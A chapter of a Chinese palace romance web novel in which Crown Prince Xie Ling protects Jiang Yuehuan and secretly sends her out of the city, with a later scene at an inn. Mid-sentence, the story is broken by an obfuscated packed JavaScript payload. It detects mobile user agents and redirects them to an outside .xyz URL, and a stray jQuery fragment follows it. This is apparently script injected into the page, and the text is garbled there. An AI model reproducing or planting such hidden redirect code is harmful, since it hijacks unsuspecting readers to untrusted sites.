娇娇不知道什么时候跑了过来,忐忑道:“太子殿下,我小时候跟祖父学过钓鱼,我来帮你你看看,诶?鱼竿呢?”
谢凌回过头,才发现手中的鱼竿已经不知何时被水冲走了,谢凌尴尬地解释:“水流太大了。”
那天,他们没能吃上烤鱼,只能吃一些点心小吃,谢凌第一次吃辣,被辣肿了嘴唇,江月还憋笑憋得浑身发抖,娇娇赶忙去河边取水,但谢凌碍于面子,怎么也不肯喝,尽管他已经被辣到满脸通红了。
江月还平复心情后,才道:“殿下,这在我们巴蜀,还不算辣呢,将来有机会,我带您去吃。”
说完,江月还又觉得自己有些逾矩,他是太子,她脱离了江家,便是庶民,他现在这样帮她的,大概是因为同病相怜吧,都有一个不靠谱的父亲,一个可怜的母亲,想到这儿,她脸上笑意全无,茫然地望着谢凌的坐轿。
谢凌已经躲回轿中,透过帘子缝隙,他看见江月还泛红的脸,将来?不知道他们是否还有将来?他已算过,再有半月,封辽使团便到了。
谢凌爽快道:“好!”
江月还忽然想到,在医书上看过,有人会对辣椒过敏,他这个情况应该就是过敏了,于是对谢凌道:“我知道有一种草药可以快速消肿,我去找找看。”
谢凌看她已经跑出去,叫了一声,“月……江姑娘!当心有蛇!”
江月还停步,回头一笑,“没关系,我不怕蛇。”
江月还采了草药回来,帮谢凌上药,他的嘴唇像是被蚂蜂扎过一样,江月还忍着笑给他上药,谢凌一开始睁着眼睛,两人对视又互相避开,最后索性他闭着眼睛昂起下巴让她敷药,江月还不知为何,心跳渐渐快了,手也颤抖了。
娇娇在一旁看着他们,只觉得这两人之间有点奇怪,就像是在话本里看过的新婚夫妻。
回府时,已近黄昏,刚到宫门口,便看到熙熙攘攘的人围成一圈,守卫跑来跟谢凌报道,有人在宫门口闹事,像是江元盛的夫人。
谢凌一听,下了马车,只见凤锦衣着华贵珠光宝气,自称太子谢凌的岳母,说是来看江月还。
谢凌使了个颜色,守卫把四周围观的百姓都驱散了。
谢凌睥睨她,看起来不怒自威,他缓缓道:“江夫人,您知道乱攀皇家亲是什么后果吗?”
凤锦向来胆小,此刻却大胆道:“太子殿下,臣妇没有乱攀,是我江家三小姐自己说的,说你们很快便会成亲。”
谢凌瞥了一眼轿子,昂着头说:“本宫从未认识过江家任何一位小姐。”
凤锦道:“怎么不认识,不是你们让江月还代替……”
话音未落,谢凌便打断冷冷她:“江夫人!你可知你在说什么?是谁让你来的?你回去告诉他,别搬石头砸了自己的脚!”
凤锦被谢凌的气势压的发抖,差点就要跪下去,谢凌回了轿子,与江月还对视一眼,两人都默契地没有言语。进了宫门,又进了太子府,江月还才松了一口气。
“殿下,多谢。”
谢凌摇头,“你这位嫡母被人当枪使还不自知。”
江月还道:“她向来不聪明,只是我想不明白,文将军为什么让她来闹这一出,有什么好处?”
谢凌道:“文将军只是想警告我,你是他的人,江家还攥在他手中。”
江月还笑了,“可他不知道,我根本不在乎江家任何人,包括我父亲。”
谢凌看着江月还,心中感慨万千,他又何尝不是呢?虽是太子,可终究是普通人,所求与寻常人无异。
晚上,睡前他从匣子里拿出一支金钗,反复地看了又看,想起他装疯卖傻的时候,跟江月还刚认识的那段时间。她像一束光照进他昏暗的世界,她为了讨他开心,打雪仗,爬树,当他看着她从树上坠落的时候,他本能伸手接住了她。
他一个疯傻之人,怎会接住一个突然从高处坠落的人呢,可他顾不得露馅儿的风险,硬生生接住了她,她惊吓又惊慌地看着他的那一幕,反复在他脑海中浮现。
她用金钗去找沈九儿换消息,说是她阿娘留给她的东西,他便妥善收藏起来,想着将来再找个机会还给她。
没想到这么快,就要还给她了。
清晨,江月还醒来,她做了一个梦,梦到她回到了巴蜀,跟她一同回去的,竟还有谢凌,她在跟阿娘的小院里烧饭给他吃,明明没有放辣椒,他的嘴巴还是肿了。
江月还又笑又疑惑,这到底是为什么?从梦里到梦外,她仍被疑惑挟裹。
江月还梳洗后,想将这个梦说给谢凌听,又觉得在梦中梦到他,有点难以启齿,于是这个梦像一团秘密塞在她心里。
然而,江月还在凌风殿逛了一圈,也没发现谢凌。
她去询问掌事侍女,听闻谢凌一早就出门了,江月还心中闪过一丝失落,又不禁自嘲,他是太子,出门自不需向她禀报,可是为什么,她还是觉得难过,这难过像打湿的羽毛黏在心上,怎么也甩不脱。
那一日,谢凌都没出来,入夜后,娇娇忽然来了凌风殿,一副外出打扮。
娇娇道:“江姑娘,可准备好了?”
江月还纳闷:“准备什么?”
娇娇说:“殿下说,查到你阿娘的消息了,晚上就送给你去找阿娘。”
江月还大喜过望,“真的吗?他怎么没有亲自告诉我。”
娇娇心虚地说:“也许,也许他太忙了。”
也是,封辽朝贡使团即将抵达瀛州,他身为太子,自然有诸多准备,不过这些江月还都思考不及了,她满脑子都只有阿娘的消息。
江月还不疑有他,转身收拾包袱,打开匣子,才发现她的包袱已经准备好了,待她们出了府,才发现连马车都准备好了。
江月还记忆一直很好,她一眼就发现轿夫有些眼熟,好像是总跟在谢凌身边的人,名叫孟力,江月还不禁多看了两眼,心中万分感激。
马车很快就驶出瀛州城,到了城外,在路上扬起烟尘阵阵,谢凌隐在一棵树后,探出头来,不远处的禁军小心翼翼地报告。
“殿下,我们该走了。”
谢凌看着马车消失的路,往远方延伸,在心里默默说了一句对不起。
他骗了她,他压根没有找到她阿娘的消息,只是瀛州危险,他不想让她涉险,对于这场隐秘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912774|176938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的战争,他的胜算并不高,除了这数百名禁军外,他别无所有。蒙参国多年来,都与昼国交好,送她去两国边界,会更安全。
谢凌转过身,面对着这些忠于自己的禁军,道:“走!”
江月还在天黑前抵达城外小镇,她选择投宿之前帮了她的那家客栈,孟力去河边给马饮水,江月还与娇娇踏进店门,老板娘还认得她,见她来一脸惊喜。
“老板娘,我们又见面了,上次多谢你了。”
老板娘被娇娇的身量惊到,不禁多看了两眼,才道:“没想到我们还能再见。”
老板娘热情地给他们准备了晚饭,孟力一直保持距离站着,江月还招呼他来吃饭,他也一动不动。
这家伙,一整天也没说过一句话,江月还都以为他是哑巴了,直到看见他刚才在河边跟马说话。
江月还看了一眼娇娇,娇娇心领神会地站起身,她力气大,拉着孟力入座,孟力一个习武之人,竟险些不敌她,两人角力了一会儿,还是孟力胜了。
江月还也站起身来拉他,还没等她出手,他像是怕她碰触自己似的,立刻就坐下来了。
孟力并非人如其名,他高却消瘦,他脸上透着一丝羞赧,娇娇给他夹菜,他的脸更红了,头更低了,江月还只好不去看他。
晚上,他们安顿好以后,老板娘突然来送安神茶给江月还,像是有话跟她说,江月还从进店急就察觉到了,应该是看娇娇与孟力在,不方便说。
江月还抛出话头:“老板娘,您丈夫还没回来吗?”
老板娘决定实话实说,“我没有丈夫,我丈夫早就死了,我是个寡妇。”
江月还一惊,“那您上次?”
老板娘一脸谨慎四处看了看,又关紧了窗户,才说:“我就是想跟你说这件事,上次是有人给我好几样价值连城的珠宝,让我帮你的。当时为了不让你起疑,才瞎编的给丈夫赎身。”
江月还双眼瞪圆,惊愕地看着老板娘,问:“是谁啊?长什么样子?”
老板娘回想了下,浮夸道说:“戴着面具,但仍能看出是一个美男子。”
面具?江月还立刻想到了陆非夜,心中顿时生出一股欢喜来,他是此处遇见了她,顺道帮了她,还是跟了她三天,然后护送她安全离开?
江月还心里布满疑惑,不知道他在丰雨乡如何了?
老板娘说:“我只是想提醒你一声,别有什么人偷偷保护你,你却不知道,辜负人了人家心意。就像我那丈夫,生前待我那是极好,我却总是骂他不够努力,不够好,可我这这辈子,再也遇不到像他这么好的人了……”
老板娘湿了眼眶,拿了手帕擦眼睛,江月还安慰了她几句,老板娘大概也是勾起了心底的往事,戚戚然下楼去了。
江月还重新打开窗户,暮春的月夜,风已有了丝丝暖意,被这春风一吹,她没喝酒倒有了几分醉意,想了一会儿,那次她回巴蜀,凭空出现的贺云,想必也是陆非夜的人,在丰雨乡就能看出来,他俩关系不俗。
可他如此尽心尽力地帮自己,又是为什么呢?
江月还想了想,心里有了一个隐约但不可言说的答案。